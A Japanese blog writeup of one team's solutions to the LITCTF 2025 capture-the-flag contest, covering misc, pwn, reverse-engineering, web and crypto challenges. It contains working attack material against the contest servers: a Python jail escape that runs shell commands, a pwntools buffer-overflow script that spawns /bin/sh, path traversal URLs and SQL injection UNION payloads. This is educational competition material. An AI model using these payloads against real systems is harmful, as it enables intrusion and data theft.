以下の内容はhttps://yocchin.hatenablog.com/entry/2025/08/27/210736より取得しました。


Lexington Informatics Tournament CTF 2025 Writeup

この大会は2025/8/24 0:00(JST)~2025/8/26 0:00(JST)に開催されました。
今回もチームで参戦。結果は2440点で651チーム中151位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

LITCTF{w3lC0mE_to_L1TctF_2025!!!}

exif (misc)

バイナリエディタで見ると、ほぼPNGファイルであったが、先頭2~4バイトが壊れていた。"png"を"PNG"に修正したものをyourdidit.pngに保存する。このpngファイルのEXIFを見てみる。

$ exiftool yourdidit.png
ExifTool Version Number         : 13.00
File Name                       : yourdidit.png
Directory                       : .
File Size                       : 255 kB
File Modification Date/Time     : 2025:08:25 06:44:28+09:00
File Access Date/Time           : 2025:08:25 06:44:36+09:00
File Inode Change Date/Time     : 2025:08:25 06:44:28+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1110
Image Height                    : 742
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 5669
Pixels Per Unit Y               : 5669
Pixel Units                     : meters
Comment                         : TElUQ1RGezN4MWZ0ME8xX2FkbTE3c18wcnp9
Image Size                      : 1110x742
Megapixels                      : 0.824

Commentにbase64文字列が設定されているので、デコードする。

$ echo TElUQ1RGezN4MWZ0ME8xX2FkbTE3c18wcnp9 | base64 -d                                                                                                                                    
LITCTF{3x1ft0O1_adm17s_0rz}
LITCTF{3x1ft0O1_adm17s_0rz}

flag printer revisited (misc)

G-codeで書かれているので、https://ncviewer.com/で読み込み、3Dを見てみると、フラグが見えた。

LITCTF{th3_r34L_fL4G_prinT3R}

Cool New Font! (misc)

HTMLソースを見ると、以下のコメントがある。

<!--  <p id="text">JTHEHN{mxY_upDk-dKVmsXxq_KmkG}</p> -->

デベロッパーツールの要素タブでコメントをはずし、id="hint"とすると、画面にフラグが表示された。

LITCTF{yoU_haVe-vERygOod_EyeS}

[name] (misc)

PyJailの問題。

$ nc litctf.org 31787
__builtins__.__dict__['__import__']('os').__dict__['system']('ls')
flag.txt
main.py
run.sh
$ nc litctf.org 31787
__builtins__.__dict__['__import__']('os').__dict__['system']('cat flag.txt')
LITCTF{py7h0n:_w3r3_u_k1ll3d?_stdout:_s4dly_y3s...BUT_I_L1VED}
LITCTF{py7h0n:_w3r3_u_k1ll3d?_stdout:_s4dly_y3s...BUT_I_L1VED}

Languages1 (misc)

movが添付されている。American Sign Languageと推測し、この動画を見ながら、以下のページを参考に復号する。
https://www.researchgate.net/figure/The-26-letters-and-10-digits-of-American-Sign-Language-ASL_fig1_328396430

LITCTF{ASLCOOL4NGUAG3SSS}

impossible string challenge (pwn)

strstr関数で入力文字列に"lit"が含まれていなかったらnotContainsは1になる。strncmp関数でどこかに"lit"が含まれていたらcontainsは1になる。両方が1の場合に、フラグが表示される。
strstrは\0までの間しかチェックしないため、\0の後ろに"lit"を指定すればよい。

#!/usr/bin/env python3
from pwn import *

p = remote('litctf.org', 31770)

data = p.recvrepeat(1).decode()
print(data, end='')

payload = b'hoge\x00lit'
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to litctf.org on port 31770: Done
Type a string that has 'lit' in it and does not have 'lit' in it at the same time
b'hoge\x00lit'
You did it! Your reward: LITCTF{never_ever_forget_about_null_bytes_in_pwn_9abe599f}
[*] Closed connection to litctf.org port 31770
LITCTF{never_ever_forget_about_null_bytes_in_pwn_9abe599f}

note (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined1 local_28 [32];
  
  printf("Go to: %p\n",win);
  FUN_004010a0(local_28);
  return 0;
}

void FUN_004010a0(char *param_1)

{
  gets(param_1);
  return;
}

void win(void)

{
  puts("Shell");
  system("/bin/sh");
  return;
}

BOFでwin関数をコールすればよい。

$ ROPgadget --binary main | grep ": ret"
0x000000000040101a : ret
0x0000000000401178 : retf
0x00000000004011b2 : retf 0xfffe
0x00000000004011c8 : retf 0xffff
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('litctf.org', 31771)
else:
    p = process('./main')

elf = ELF('./main')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 40
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to litctf.org on port 31771: Done
[*] '/mnt/hgfs/Shared/main'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Go to: 0x401196
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x96\x11@\x00\x00\x00\x00\x00'
Shell
[*] Switching to interactive mode
$ ls
flag.txt
main
run.sh
$ cat flag.txt
LITCTF{never_forget_stack_alignment_6e7be416}
LITCTF{never_forget_stack_alignment_6e7be416}

LIT Newsapp (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  ssize_t sVar2;
  undefined8 uVar3;
  undefined8 uStack_50;
  undefined1 local_48 [31];
  undefined1 auStack_29 [33];
  
  uStack_50 = 0x4011fe;
  puts("Enter username:");
  uStack_50 = 0x401214;
  sVar2 = read(0,auStack_29 + 1,0x60);
  auStack_29[sVar2] = 0;
  uStack_50 = 0x401229;
  puts("Enter password:");
  uStack_50 = 0x40123f;
  sVar2 = read(0,local_48,0x60);
  local_48[sVar2 + -1] = 0;
  uStack_50 = 0x40125b;
  iVar1 = check(auStack_29 + 1,local_48);
  if (iVar1 == 0) {
    uStack_50 = 0x4012ae;
    puts("Invalid credentials");
    uStack_50 = 0x4012b8;
    uVar3 = FUN_004010a0(0);
  }
  else {
    uStack_50 = 0x40126b;
    puts("Welcome");
    uStack_50 = 0x401277;
    puts("---------------------------------------------------------");
    uStack_50 = 0x401283;
    puts("Today\'s news: Lexington High School starts their 5th CTF!");
    uStack_50 = 0x40128f;
    puts("---------------------------------------------------------");
    uStack_50 = 0x40129b;
    puts("Goodbye");
    uVar3 = 0;
  }
  return uVar3;
}

undefined8 check(char *param_1,char *param_2)

{
  int iVar1;
  
  iVar1 = strcmp(param_1,"LITCTF");
  if ((iVar1 == 0) && (iVar1 = strcmp(param_2,"d0nt_57r1ngs_m3_3b775884"), iVar1 == 0)) {
    return 1;
  }
  return 0;
}

usernameとpasswordでフラグの形式にする。

LITCTF{d0nt_57r1ngs_m3_3b775884}

aahh! (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_11c;
  byte local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  gets((char *)local_118);
  for (local_11c = 0; local_11c < 0x100; local_11c = local_11c + 1) {
    local_118[local_11c] = local_118[local_11c] ^ (char)local_11c * '\x03' + 6U;
    local_118[local_11c] = (char)local_11c + local_118[local_11c];
  }
  iVar1 = strncmp((char *)local_118,&DAT_00102008,0x36);
  if (iVar1 == 0) {
    puts("win");
  }
  else {
    puts("lose");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

                             DAT_00102008                                    XREF[1]:     main:00101263(*)  
        00102008 4a              ??         4Ah    J
        00102009 41              ??         41h    A
        0010200a 5a              ??         5Ah    Z
        0010200b 4f              ??         4Fh    O
        0010200c 4a              ??         4Ah    J
        0010200d 58              ??         58h    X
        0010200e 69              ??         69h    i
        0010200f 83              ??         83h
        00102010 83              ??         83h
        00102011 5e              ??         5Eh    ^
        00102012 61              ??         61h    a
        00102013 23              ??         23h    #
        00102014 21              ??         21h    !
        00102015 7f              ??         7Fh    
        00102016 67              ??         67h    g
        00102017 64              ??         64h    d
        00102018 79              ??         79h    y
        00102019 67              ??         67h    g
        0010201a 64              ??         64h    d
        0010201b 66              ??         66h    f
        0010201c 4f              ??         4Fh    O
        0010201d 2f              ??         2Fh    /
        0010201e 50              ??         50h    P
        0010201f 45              ??         45h    E
        00102020 3b              ??         3Bh    ;
        00102021 57              ??         57h    W
        00102022 3a              ??         3Ah    :
        00102023 4d              ??         4Dh    M
        00102024 21              ??         21h    !
        00102025 47              ??         47h    G
        00102026 1f              ??         1Fh
        00102027 2f              ??         2Fh    /
        00102028 59              ??         59h    Y
        00102029 3a              ??         3Ah    :
        0010202a 40              ??         40h    @
        0010202b 23              ??         23h    #
        0010202c 28              ??         28h    (
        0010202d 41              ??         41h    A
        0010202e 42              ??         42h    B
        0010202f 45              ??         45h    E
        00102030 42              ??         42h    B
        00102031 d8              ??         D8h
        00102032 d4              ??         D4h
        00102033 d4              ??         D4h
        00102034 01              ??         01h
        00102035 1b              ??         1Bh
        00102036 ce              ??         CEh
        00102037 20              ??         20h     
        00102038 d7              ??         D7h
        00102039 d9              ??         D9h
        0010203a db              ??         DBh
        0010203b da              ??         DAh
        0010203c c8              ??         C8h
        0010203d 0d              ??         0Dh
        0010203e 00              ??         00h

入力文字列sのインデックスiの文字について、以下の処理をしている。

  • s[i] = s[i] ^ i * 3 + 6
  • s[i] = i + s[i]

以下のように逆算して、元に戻す。

  • s[i] = (s[i] - i) ^ (i * 3 + 6)
#!/usr/bin/env python3
enc = [0x4a, 0x41, 0x5a, 0x4f, 0x4a, 0x58, 0x69, 0x83, 0x83, 0x5e, 0x61, 0x23,
    0x21, 0x7f, 0x67, 0x64, 0x79, 0x67, 0x64, 0x66, 0x4f, 0x2f, 0x50, 0x45,
    0x3b, 0x57, 0x3a, 0x4d, 0x21, 0x47, 0x1f, 0x2f, 0x59, 0x3a, 0x40, 0x23,
    0x28, 0x41, 0x42, 0x45, 0x42, 0xd8, 0xd4, 0xd4, 0x01, 0x1b, 0xce, 0x20,
    0xd7, 0xd9, 0xdb, 0xda, 0xc8, 0x0d]

flag = ''
for i in range(len(enc)):
    flag += chr(((enc[i] - i) % 256) ^ ((i * 3 + 6) % 256))
print(flag)
LITCTF{gets??_if_only_remote_was_provided..._c0b11586}

oops (rev)

スクリプトの処理概要は以下の通り。

・MODULUS = 100000000000000000000000000000000000000000000000151
・PRIVATE_KEY_1: フラグ
・PRIVATE_KEY_1の長さはMODULUSのビット長を8で割った値より小さいことをチェック
・PRIVATE_KEY_2: ランダム32バイト文字列
・以下2回繰り返し
 ・strlen: 100以上1000以下のランダム整数
 ・inpstr = ""
 ・strlenだけ以下繰り返し
  ・inpstrに英数字から選択して結合
 ・inpstrを出力
 ・output = s(inpstr)
  ・combined = PRIVATE_KEY_1 + input_str
  ・combined_bytes = combined.encode()
  ・combined_int: combined_bytesを数値化したもの
  ・rng: PRIVATE_KEY_2をseedとして乱数設定
  ・res = combined_int
  ・以下を1000回繰り返し
   ・randnum: 10**49以上10**50以下のランダム整数
   ・res = (res * t(randnum) + r(randnum)) % MODULUS
  ・resを返却
 ・output を出力

何回か試したところ、r(randnum)は必ず0になるようだ。

同じ値をかけているので、元の数値の比率は最終の値の比率になる。つまり、以下の式が成り立つ。

b2l(flag + i0) * f1 % MODULUS = b2l(flag + i1) * f0 % MODULUS
※b2l関数: バイト文字列を数値化
※i0: 1回目の入力文字列
※i1: 2回目の入力文字列
※f0: 1回目の最終結果
※f1: 2回目の最終結果

flagの数値化したものをxとしたときの方程式になり、解くことができる。

(x * 256**291 + b2l(i0)) * f1 % MODULUS = (x * 256**694 + b2l(i1)) * f0 % MODULUS
        ↓
(256**694 * f0 - 256**291 * f1) * x % MODULUS = (b2l(i0) * f1 - b2l(i1) * f0) % MODULUS
        ↓
x = (b2l(i0) * f1 - b2l(i1) * f0) * inverse(256**694 * f0 - 256**291 * f1, MODULUS) % MODULUS
#!/usr/bin/env python3
from Crypto.Util.number import *

MODULUS = 100000000000000000000000000000000000000000000000151

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

inp0 = params[0].split(' ')[-1]
fin0 = int(params[1].split(' ')[-1])
inp1 = params[2].split(' ')[-1]
fin1 = int(params[3].split(' ')[-1])

LEN0 = len(inp0)
LEN1 = len(inp1)
INT_INP0 = bytes_to_long(inp0.encode())
INT_INP1 = bytes_to_long(inp1.encode())

x = (INT_INP0 * fin1 - INT_INP1 * fin0) \
    * inverse(256 ** LEN1 * fin0 - 256 ** LEN0 * fin1, MODULUS) % MODULUS
flag = long_to_bytes(x).decode()
print(flag)
LITCTF{r_s0_s1l1y}

LexMACS' Secret (web)

HTMLソースを見たら、以下の部分がある。

<div><div><div><div>L<div><div><div><div>I<div><div><div><div>T<div><div><div><div>C<div><div><div><div>T<div><div><div><div>F<div><div><div><div>{<div><div><div><div>S<div><div><div><div>e<div><div><div><div>C<div><div><div><div>R<div><div><div><div>3<div><div><div><div>t<div><div><div><div>_<div><div><div><div>h<div><div><div><div>A<div><div><div><div>s<div><div><div><div>-<div><div><div><div>B<div><div><div><div>3<div><div><div><div>e<div><div><div><div>n<div><div><div><div>-<div><div><div><div>l<div><div><div><div>E<div><div><div><div>4<div><div><div><div>K<div><div><div><div>d<div><div><div><div>}</div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div>

"

"や"
"を削除すると、フラグが現れた。

LITCTF{SeCR3t_hAs-B3en-lE4Kd}

file viewer (web)

View Random Fileボタンを押すと、sample1.txt~sample3.txtがランダムに選ばれ、以下のURLに遷移し、その内容が表示される。

http://litctf.org:31774/view-file?file=sample1.txt

パストラバーサルで../flag.txtにアクセスする。
http://litctf.org:31774/view-file?file=../flag.txtにアクセスしたら、フラグが表示された。

LITCTF{o0ps_f0rg0t_t0_s3cur3_my_dir3ct0ry}

file viewer 2 (web)

file viewer 1の改良版。今度はパストラバーサル対策で、ファイル名の最初2文字に".."が許可されていない。サブディレクトリにimagesがあることはわかっているので、そこをベースにパストラバーサルする。
http://litctf.org:31776/view-file?file=images/../../flag.txtにアクセスしたら、フラグが表示された。

LITCTF{d4ng_i_gu3ss_th4t_w4snt_s3cure_enough}

world's hardest quiz (web)

クイズに答えていく必要がある。ただWebSocketが使われていて、Chromeデベロッパーツールのネットワークタブで、wsの通信を見ていると、問題と合わせて答えもわかる。
答えていくと、フラグが表示された。

LITCTF{why_d1d_i_m4ke_thls}

tabled (web)

Login画面のUsername欄に入力してSQLインジェクションを行い、ログイン後にusernameが表示されることを使って、情報をリークする。

以下の通り入力してみる。

' UNION SELECT name FROM sqlite_master WHERE type = 'table' --

この結果、以下が表示された。

Welcome, aHLh4QWdoPH1I8Zhcvb0C6myXpMOjEt9mkxmn20feUX6Nfk0g4OqlWxY1jJqujncpEUvz5afPnw0AaeZ4jEQSYpwTqKdN2qqZq6d5!

これがflagのテーブル名であることが確認できたので、以下の通り入力してみる。

' UNION SELECT flag FROM aHLh4QWdoPH1I8Zhcvb0C6myXpMOjEt9mkxmn20feUX6Nfk0g4OqlWxY1jJqujncpEUvz5afPnw0AaeZ4jEQSYpwTqKdN2qqZq6d5 --

この結果、以下が表示された。

Welcome, LITCTF{w04h_sQl?_l0v3_to_S3e_iT}!
LITCTF{w04h_sQl?_l0v3_to_S3e_iT}

one hint (crypto)

暗号化処理の概要は以下の通り。

・res = power(flag, 2345)
 ・a = flag
 ・以下2345回繰り返し
  ・a = vigenere(a, vigenere(a, a))
 ・aを返却
・resを出力

鍵が変わり、復号前のもので暗号化されているので、逆算が難しい。このため、ブルートフォースで復号する。

#!/usr/bin/env python3
import string

def vigenere(pt,key):
    res = ""
    for i in range(len(pt)):
        if pt[i] in "LITCTF{_}":
            res += pt[i]
            continue
        res += chr((ord(pt[i])+ord(key[i%len(key)])-2*ord('a'))%26+ord('a'))
    return res

def power(pt,n):
    a = pt
    for i in range(n):
        a = vigenere(a, vigenere(a, a))
    return a

ct = 'LITCTF{fkxlafg_plk_qkuxbkgp_hucknkxk_khkx}'
chars = string.ascii_lowercase + '?:_'

flag = 'LITCTF{'
for i in range(7, len(ct) - 1):
    for char in chars:
        try_flag = flag + char
        try_ct = power(try_flag, 2345)
        if try_ct == ct[:len(try_flag)]:
            flag += char
            break
flag += '}'
print(flag)
LITCTF{perhaps_the_weirdest_vigenere_ever}

signs (crypto)

RSA暗号の問題。ただ、以下がわかっている。

sign = pow(bytes_to_long(pad(flag, 256)), d, n)

これで簡単にflagを算出することができる。

flag = unpad(long_to_bytes(pow(sign, e, n)), 256)
#!/usr/bin/env python3
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
sign = int(params[3].split(' ')[-1])

flag = unpad(long_to_bytes(pow(sign, e, n)), 256).decode()
print(flag)
LITCTF{1m_s34ch1ng_f0r_4_n3w_h4sh1ng_func710n}

plug and chug (crypto)

サーバの処理概要は以下の通り。

・n: 1024ビット素数
・a: 1024ビット素数
・tries = 0
・triesが10未満の間以下を実行
 ・inp: 入力
 ・inpが"guess"の場合
  ・guess()
   ・ans: 入力
   ・ansがnと一致する場合、フラグを表示
   ・ansがnと一致しない場合、終了
 ・inpが"guess"以外の場合
  ・x: inpを数値型にしたもの
  ・x**2が996491788296388609未満の場合、inpの入力やり直し
  ・pow(a, x, n)を表示
  ・triesをプラス1
・guess()

はじめにxを適当な値x0を指定する。

y0 = pow(a, x0, n)

次にx0*2を指定する。

y1 = pow(a, x0 * 2, n) = pow(pow(a, x0, n), 2, n)

この場合、以下の式はnの倍数になる。

pow(y0, 2) - y1

x0*3以降も同様に算出し、最大公約数がnとなる。

#!/usr/bin/env python3
import socket
import random
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('litctf.org', 31789))

r0 = random.getrandbits(64)
n = -1
base = -1
for i in range(10):
    r = r0 * (i + 1)
    data = recvuntil(s, b': ')
    print(data + str(r))
    s.sendall(str(r).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if base == -1:
        base = int(data)
    elif n == -1:
        n = pow(base, i + 1) - int(data)
    else:
        n = GCD(n, pow(base, i + 1) - int(data))

data = recvuntil(s, b'? ')
print(data + str(n))
s.sendall(str(n).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Gimme a number (or type 'guess' to guess): 16460514011289618583
87714064718407119410292727278812268681285774333701411937388614807452903643444918627208736582573507370756712015776264031838565569785453614854259327924785107256481456994076427388665272467591755847817451655259612625230241001473556097128765259696086424417132959969131785960853316307856340330989753132707864121041
Gimme a number (or type 'guess' to guess): 32921028022579237166
30407545226085816381817076578914918494452587582689554930737017147874284408676730613241578929369176958828648057514708963577519005176194076533235522797204735529338842170251893920946504196310299906089538690370226201323584164385555685582566530870428904225425212739094440335370282534401572857443519145585857314550
Gimme a number (or type 'guess' to guess): 49381542033868855749
84889485094507820530542298175321195824182602297023654414210986839796146490797437615783834086184152416956370799212766455747234743063525880754581806886707408791763826528526490078603655464453341906019581777579617798214405203470798998573774913126746380918202806419417526019303957615893313310122539632243081081347
Gimme a number (or type 'guess' to guess): 65842056045158474332
67106990555605457715173812074782417801149274167563065979504241518163209294079632176326205012499049057962933772811831845592917993382254943392893967772991121170203818524418928119187520730338618333775304282683902791980273168329981746977094602225043042845182859615766698813314121949404816825082473311945526053114
Gimme a number (or type 'guess' to guess): 82302570056448092915
40284178148528451283596007824743880499004911399575827830283716865517561663441567989659311141731529612379210212733242971284983665814323267400853210377733452176550982216554169101461374774051264602950622413398537882643841593432319145141045535065325943687627510046762612230315503203014591279323566578334890127756
Gimme a number (or type 'guess' to guess): 98763084067737711498
87913564769210134968606927125724136847798723765316583853078049902408961249255887903025763357758267035424188083071797407465663878432674385153245900700020330841194961275268647153084331727594920010404850508872086173336888006395165378043848482996218095213680724354418623900721838721504749043223680921447421286413
Gimme a number (or type 'guess' to guess): 115223598079027330081
52603190434618219434232460417458238909357795005649136296954975326294411881870201438794677283460618229092864620382453723328983694102377679006982881779035988662300962112197132274157030468243963739426031346319037292992669988738958203578995442487615630968775422963346877127211708372966069385750083733410105239804
Gimme a number (or type 'guess' to guess): 131684112090316948664
3936162414888941117711111847715540084875239724700720719700190563355742099217803871075772898406743937396602995650570797191640335809516387452125936858853206374488791257462046018044043472131496033960963104907905012034903929499915222192047592428164706291932408492515643507136652628732177924764049523409541352251
Gimme a number (or type 'guess' to guess): 148144626101606567247
54456494318620221422824274947770487824224299516132211070428491379248332811315551472815729213100683707380028909569086425468937287718283465009775829498461330176019751057189879436152052402613067868693549023986020490231399017278642758579096362447995535214759837808455741666069773158424551013150086388060354472060
Gimme a number (or type 'guess' to guess): 164605140112896185830
59167517004355418766593061573963765538228697131416713704485747361242412381834758708070546693914729314847491478731427757797683570557049143845654164810916946134009176380764073922511030214788947392452185164104972878069437302338405001076703265314179818999880985836933784273290035826764094624792472244856921029784
You have used your ten guesses.
What is n? 94683931291501491708231399380768637214612462196795754140137624086422200942238633512442021173687188607823979626024604574719988005700420027261850154355083837027977354884383427809179093452136729885881977302681594138729809422254287959945969720071208283863070971280813817912008882808041253475236354026166506115201
flag: LITCTF{GCD_GREATEST_892066f8}
LITCTF{GCD_GREATEST_892066f8}



以上の内容はhttps://yocchin.hatenablog.com/entry/2025/08/27/210736より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14